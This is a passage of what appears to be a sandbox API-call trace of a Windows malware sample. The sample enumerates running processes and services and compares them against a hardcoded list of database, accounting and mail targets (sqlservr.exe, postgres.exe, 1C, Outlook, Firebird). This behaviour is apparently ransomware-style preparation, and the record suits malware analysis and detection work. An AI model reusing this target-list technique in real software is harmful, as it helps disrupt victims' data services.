(lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0156.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0156.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0156.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0156.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0156.982] lstrlenW (lpString="Winmgmt") returned 7 [0156.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0156.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0156.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0156.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0156.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0156.983] lstrlenW (lpString="WPDBusEnum") returned 10 [0156.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.983] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0156.983] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0156.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0156.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x43461b8 | out: hHeap=0x630000) returned 1 [0156.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0156.985] Process32FirstW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.985] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.985] lstrlenW (lpString="System") returned 6 [0156.985] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0156.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0156.985] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0156.985] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0156.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0156.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0156.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0156.986] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.986] lstrlenW (lpString="smss.exe") returned 8 [0156.986] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0156.986] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.986] lstrlenW (lpString="csrss.exe") returned 9 [0156.986] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.986] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.986] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0156.987] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.987] lstrlenW (lpString="wininit.exe") returned 11 [0156.987] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0156.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0156.987] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0156.987] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0156.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0156.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0156.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0156.987] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.987] lstrlenW (lpString="csrss.exe") returned 9 [0156.987] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.988] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.988] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.988] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.988] lstrlenW (lpString="winlogon.exe") returned 12 [0156.988] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.988] lstrlenW (lpString="services.exe") returned 12 [0156.989] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.989] lstrlenW (lpString="lsass.exe") returned 9 [0156.989] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0156.989] lstrlenW (lpString="lsm.exe") returned 7 [0156.989] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.989] lstrlenW (lpString="svchost.exe") returned 11 [0156.990] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.990] lstrlenW (lpString="svchost.exe") returned 11 [0156.990] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.990] lstrlenW (lpString="svchost.exe") returned 11 [0156.990] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.990] lstrlenW (lpString="svchost.exe") returned 11 [0156.991] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.991] lstrlenW (lpString="svchost.exe") returned 11 [0156.991] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0156.991] lstrlenW (lpString="audiodg.exe") returned 11 [0156.991] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.992] lstrlenW (lpString="svchost.exe") returned 11 [0156.992] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0156.992] lstrlenW (lpString="explorer.exe") returned 12 [0156.992] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0156.992] lstrlenW (lpString="dwm.exe") returned 7 [0156.992] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.993] lstrlenW (lpString="svchost.exe") returned 11 [0156.993] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0156.993] lstrlenW (lpString="n.exe") returned 5 [0156.993] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0156.993] lstrlenW (lpString="spoolsv.exe") returned 11 [0156.993] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.994] lstrlenW (lpString="svchost.exe") returned 11 [0156.994] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0156.994] lstrlenW (lpString="taskhost.exe") returned 12 [0156.994] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0156.994] lstrlenW (lpString="reader_sl.exe") returned 13 [0156.995] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0156.995] lstrlenW (lpString="rundll32.exe") returned 12 [0156.995] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0156.995] lstrlenW (lpString="n.exe") returned 5 [0156.995] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0156.996] lstrlenW (lpString="dllhost.exe") returned 11 [0156.996] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0156.996] lstrlenW (lpString="dllhost.exe") returned 11 [0156.996] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0156.996] CloseHandle (hObject=0x25c) returned 1 [0156.996] Sleep (dwMilliseconds=0x1f4) [0157.518] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0157.518] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0157.519] GetLastError () returned 0xea [0157.519] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x43461b8 [0157.519] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43461b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43461b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0157.519] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0157.520] lstrlenW (lpString="Appinfo") returned 7 [0157.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0157.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0157.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0157.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0157.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0157.520] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.520] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.520] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.520] lstrlenW (lpString="AudioSrv") returned 8 [0157.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0157.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0157.520] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0157.520] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0157.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0157.520] lstrlenW (lpString="BFE") returned 3 [0157.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.520] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.520] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.520] lstrlenW (lpString="CryptSvc") returned 8 [0157.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.521] lstrlenW (lpString="CscService") returned 10 [0157.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0157.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0157.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0157.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0157.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0157.521] lstrlenW (lpString="DcomLaunch") returned 10 [0157.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.521] lstrlenW (lpString="Dhcp") returned 4 [0157.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.521] lstrlenW (lpString="Dnscache") returned 8 [0157.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.521] lstrlenW (lpString="DPS") returned 3 [0157.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.522] lstrlenW (lpString="eventlog") returned 8 [0157.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0157.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0157.522] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0157.522] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0157.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0157.522] lstrlenW (lpString="EventSystem") returned 11 [0157.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.522] lstrlenW (lpString="gpsvc") returned 5 [0157.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.522] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.522] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.522] lstrlenW (lpString="iphlpsvc") returned 8 [0157.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.522] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.522] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.522] lstrlenW (lpString="LanmanServer") returned 12 [0157.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0157.522] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.522] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.522] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.522] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.523] lstrlenW (lpString="lmhosts") returned 7 [0157.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.523] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.523] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.523] lstrlenW (lpString="MMCSS") returned 5 [0157.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0157.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0157.523] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0157.523] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0157.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0157.523] lstrlenW (lpString="MpsSvc") returned 6 [0157.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.523] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.523] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.523] lstrlenW (lpString="Netman") returned 6 [0157.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0157.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0157.523] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0157.523] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0157.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0157.523] lstrlenW (lpString="netprofm") returned 8 [0157.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.523] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.523] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.524] lstrlenW (lpString="NlaSvc") returned 6 [0157.524] lstrcmpiW 